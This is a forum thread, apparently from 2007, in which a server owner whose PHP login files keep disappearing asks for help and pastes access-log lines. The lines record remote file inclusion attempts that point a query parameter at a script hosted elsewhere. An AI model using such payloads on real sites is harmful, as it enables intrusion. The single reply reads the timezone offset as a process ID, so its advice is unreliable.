473,386 Members | 1,790 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,386 software developers and data experts.

some script on the server removes my files.

154 100+
Hi my server has some script/s that deletes php files from my server that contail log, so it deletes login.php, logout.php and you know the rest.

When i checked the access.log i saw these lines
127.0.0.1 - - [05/Dec/2007:16:15:22 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:15:43 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:24 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=19//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=/includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:22:58 -0500] "GET /?katID=19/online-shops//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"

is there any commands i could use to locate these files and delete them. Anybody have answers, that could help me out please.
Dec 5 '07 #1
1 1516
ashitpro
542 Expert 512MB
Hi my server has some script/s that deletes php files from my server that contail log, so it deletes login.php, logout.php and you know the rest.

When i checked the access.log i saw these lines
127.0.0.1 - - [05/Dec/2007:16:15:22 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:15:43 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:24 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=19//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=/includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:22:58 -0500] "GET /?katID=19/online-shops//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"

is there any commands i could use to locate these files and delete them. Anybody have answers, that could help me out please.

I don't know about fields of access.log
But I guess 500 should be process id for that script.
locate it with ps -eLF | grep 500
and find out which process is deleting your files
Jan 22 '08 #2

Sign in to post your reply or Sign up for a free account.

Similar topics

23
by: Loony | last post by:
I have got a code like this in HTML section in ASP file which includes javascript file! The script works under MS IE but doesn't with Firefox! Can anybody tell me what is wrong? <HTML>...
5
by: news | last post by:
I have a new situation I'm facing and could use a suggestion or two, as I don't seem to be able to think in the abstract very well. We have a local server which holds all of our image files. We...
3
by: Shapper | last post by:
Hello, Until now I have been using Dreamweaver to create ASP.Net/VB web sites. I gave up of using it. Too many limitations. What is the best software to create ASP.NET/VB web sites? Maybe...
20
by: mike | last post by:
I help manage a large web site, one that has over 600 html pages... It's a reference site for ham radio folks and as an example, one page indexes over 1.8 gb of on-line PDF documents. The site...
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.